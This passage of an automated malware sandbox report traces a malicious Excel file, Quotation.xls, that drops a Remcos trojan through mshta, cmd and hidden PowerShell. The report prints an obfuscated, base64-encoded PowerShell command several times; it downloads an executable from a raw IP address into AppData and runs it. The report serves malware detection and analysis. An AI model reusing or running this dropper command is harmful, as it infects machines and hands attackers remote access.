Source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: csrss[1].exe.7.dr Static PE information: Section: .rsrc ZLIB complexity 0.9982945393041237
Source: winiti.exe.7.dr Static PE information: Section: .rsrc ZLIB complexity 0.9982945393041237
Source: classification engine Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@29/32@6/5
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDE2A80 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma, 11_2_000000013FDE2A80
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 22_2_000000013F602A80 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma, 22_2_000000013F602A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 25_2_00417952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle, 25_2_0040F474
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource, 25_2_0041B4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 25_2_0041AA4A
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\37330000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: \Sessions\1\BaseNamedObjects\chrome-E2SMAR
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR95A9.tmp Jump to behavior
Source: Quotation.xls OLE indicator, Workbook stream: true
Source: 37330000.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..1..............P................o.......o.....}..w.............................1......(.P..............3........1..............%.............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm................'.....).Tk....}..w.....%......\.......................(.P.....8.......@.........'............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm................'.....).Tk....}..w.....%......\.......................(.P.....8.......@.........'............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....x.'.....N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..#g.......Tk......f.....(.P.....8.......@.......x.'..... ....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....8.......@.......x.'.....8....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...@.......x.'.....F....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1.....l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ ........%......}..w.............#g.......Tk......f.....(.P.....8.......@.......x.'............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................%..............0....7...Wn.....}..w......'.....@E......^...............(.P.....8.......@.........'............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................%...................7...Wn.....}..w......'.....@E......^...............(.P.....8.......@.........'............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................P..............................}..w..............D.......D......1D.....(.P.......D......3D.......................{.............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm.......................#.l....}..w......{.....\.F.......D.............(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm.......................#.l....}..w......{.....\.F.......D.............(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....H.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.H._.....R .l.....X......(.P.....P.......X.......H....... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....P.......X.......H.......8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...X.......H.......F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X...............l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .........{.....}..w............H._.....R .l.....X......(.P.....P.......X.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..................{.............0...n%...W......}..w............@EE.....^...............(.P.....P.......X.......h...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..................{.................n%...W......}..w............@EE.....^...............(.P.....P.......X.......h...............................
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: Quotation.xls ReversingLabs: Detection: 18%
Source: Quotation.xls Virustotal: Detection: 24%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" Jump to behavior
